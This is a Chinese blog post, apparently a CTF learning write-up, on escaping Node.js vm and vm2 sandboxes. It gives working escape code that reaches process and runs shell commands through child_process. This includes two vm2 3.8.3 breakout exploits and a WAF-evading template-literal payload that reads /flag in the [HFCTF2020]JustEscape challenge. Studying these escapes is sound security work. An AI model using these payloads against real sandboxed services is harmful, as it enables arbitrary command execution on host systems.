• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

node.js--vm沙箱逃逸初探

武飞扬头像
XiLitter
帮助1

前言

前几天遇到一个考察vm沙箱逃逸的题目,由于这个点是第一次听说,所以就花时间了解了解什么是沙箱逃逸。此篇文章是对于自己初学vm沙箱逃逸的学习记录,若记录知识有误,欢迎师傅们指正。

什么是沙箱

就只针对于node.js而言,沙箱和docker容器其实是差不多的,都是将程序与程序之间,程序与主机之间互相分隔开,但是沙箱是为了隔离有害程序的,避免影响到主机环境。为什么node.js语言要引入沙箱,这就要说说js语言中的作用域(也叫上下文)。说一大堆概念不如贴一段代码来的实在:

  1.  
    const a = require("./a")
  2.  
     
  3.  
    console.log(a.age)
  4.  
    //a.js:var age = 100;------->输出undefined
  5.  
    //-------------------------//
  6.  
    //a.js:var age = 100;exports.age = age;-------->输出100

若没有exports将需要的属性暴露出来,我们是访问不到另一个包内的属性的。包与包之间是互不相通的,也就是说每一个包都有自己的作用域。我们知道JavaScript的全局变量是window。其中所有的属性都是挂载到这个window下的,当然,node也有全局变量,是global。全局变量能在包间访问,换句话说,所有的包都挂载在全局变量下。node执行rce需要引入process对象进而导入child_process模块来执行命令。然而,process是挂载到global上的。为了防止恶意代码影响主机环境,所以就引入沙箱,开辟一个新的作用域来运行不信任的代码。相较于其他作用域,它阻止我们从内部直接访问global全局变量。此后的逃逸也是在这个点做文章。

vm模块的作用

引入vm模块就是为了创建一个沙箱运行环境。先看一段代码:

  1.  
    const util = require('util');
  2.  
    const vm = require('vm');
  3.  
    global.age = 3;
  4.  
    const sandbox = { age: 1 };
  5.  
    vm.createContext(sandbox);
  6.  
    vm.runInContext('age *= 2;', sandbox);
  7.  
    console.log(util.inspect(sandbox));
  8.  
    console.log(util.inspect(age));
  9.  
    //输出
  10.  
    //{ age: 2 }
  11.  
    //3

vm.createContext函数,创建一个沙箱对象,在全局变量global外又创建一个作用域。此时sandbox对象就是此作用域的全局变量。vm.runInContext函数,第一个参数是沙箱内要执行的代码,第二个是沙箱对象。还有一个函数,vm.runInNewContext,是creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。根据代码输出,我们可以看出沙箱内是不能访问到global。

如何逃逸

上文也说明了node要执行命令的前提是访问到process对象。那么逃逸的主要思路就是怎么从外面的global全局变量中拿到process。vm模块是非常不严谨的,基于node原型链继承的特性,我们很容易就能拿到外部全局变量。看一段简单的逃逸代码:

  1.  
    "use strict";
  2.  
    const vm = require("vm");
  3.  
    const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
  4.  
    console.log(a.process);

运行结果为

学新通

很明显是逃逸出去了。如何做到的?这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。继续看代码:

  1.  
    "use strict";
  2.  
    const vm = require("vm");
  3.  
    const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
  4.  
    console.log(a.mainModule.require('child_process').execSync('whoami').toString());

 执行结果:

学新通

console.log会执行node代码,从而调用构造器函数返回process对象导致rce。vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块。那么vm2模块能否逃逸。

vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及___proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。直接看文档中的例子,文档链接:ES6 入门教程

  1.  
    var proxy = new Proxy({}, {
  2.  
    get: function(target, propKey) {
  3.  
    return 35;
  4.  
    }
  5.  
    });
  6.  
    proxy.time // 35
  7.  
    proxy.name // 35
  8.  
    proxy.title // 35

学新通

 vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,附上链接:Issues · patriksimek/vm2 · GitHub,至于vm2的逃逸原理分析,直接看大牛的文章,写的非常nice,文章链接:vm2沙箱逃逸分析-安全客 - 安全资讯平台。接着做个题感受一下。

[HFCTF2020]JustEscape

题目代码:

  1.  
    <?php
  2.  
    ifarray_key_exists"code"$_GET ) && $_GET'code' ] != NULL ) {
  3.  
        $code $_GET['code'];
  4.  
        echo eval(code);
  5.  
    else {
  6.  
        highlight_file(__FILE__);
  7.  
    }
  8.  
    ?>

题目中提示我们不是php,当然eval函数也不只有php有。测试eval是js语言的,可以输入Error().stack。它的作用是返回代码的部分信息。

学新通

了解到引入了vm2沙箱。GitHub上有师傅发的逃逸脚本可以直接打。附上链接:Breakout in v3.8.3 · Issue #225 · patriksimek/vm2 · GitHub。有两个exp都能打通。看一下第一个exp:

  1.  
    (' function(){
  2.  
    TypeError.prototype.get_process = f=>f.constructor("return process")();
  3.  
    try{
  4.  
    Object.preventExtensions(Buffer.from("")).a = 1;
  5.  
    }catch(e){
  6.  
    return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
  7.  
    }
  8.  
    } ')()

网上找半天都没有详细解释代码,于是自己琢磨了一下。若分析有误,希望师傅们指正。先来看看Object.preventExtensions函数,让一个对象不能再添加一个新的属性。如果尝试添加新的属性,就会抛出typeError。

学新通

上面代码尝试添加a属性。导致异常就会抛出TypeError对象。这里进行了一个操作,污染了TypeError的原型。TypeError是外部的对象,这里将它的原型添加get_process属性,并且在此基础上调用构造器函数,此时它 的作用域就是global了。抛出的TypeError对象由e捕捉,访问get_process属性,从原型里拿,进而触发构造器函数,返回process对象执行命令。

则第二个exp有点像上文vm2原理分析的案例二。

  1.  
    (' function(){
  2.  
    try{
  3.  
    Buffer.from(new Proxy({}, {
  4.  
    getOwnPropertyDescriptor(){
  5.  
    throw f=>f.constructor("return process")();
  6.  
    }
  7.  
    }));
  8.  
    }catch(e){
  9.  
    return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
  10.  
    }
  11.  
    } ')()

创建一个代理,我猜测getOwnPropertyDescriptor函数用于Proxy第二个参数传递会发生异常。vm2内部抛出异常并捕获,然后vm2沙箱自己封装成一个对象再次抛出,被捕获,此时这个对象的作用域就变成了global,执行抛出的代码可以拿到process对象了。

截止目前,我们并不能做出这道题。因为还有waf过滤了许多关键词,这里就要用到一个点,利用js的模板文字绕过,直接看个例子就能明白。

学新通

把过滤掉的关键字都换成这种模板文字,最终payload为:

  1.  
    (function (){
  2.  
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
  3.  
    try{
  4.  
    Object.preventExtensions(Buffer.from(``)).a = 1;
  5.  
    }catch(e){
  6.  
    return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
  7.  
    }
  8.  
    })()

 打入payload即可获得flag。

结语

vm2版本一直在更新,而逃逸脚本也穷出不穷,而在去年也爆出了新的vm沙箱逃逸的cve。以后有时间继续琢磨沙箱逃逸脚本。此外贴上vm沙箱逃逸的优秀文章:

NodeJS VM和VM2沙箱逃逸 - 先知社区

nodejs vm/vm2沙箱逃逸分析 - zpchcbd - 博客园

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfihkeb
系列文章
更多 icon
同类精品
更多 icon
继续加载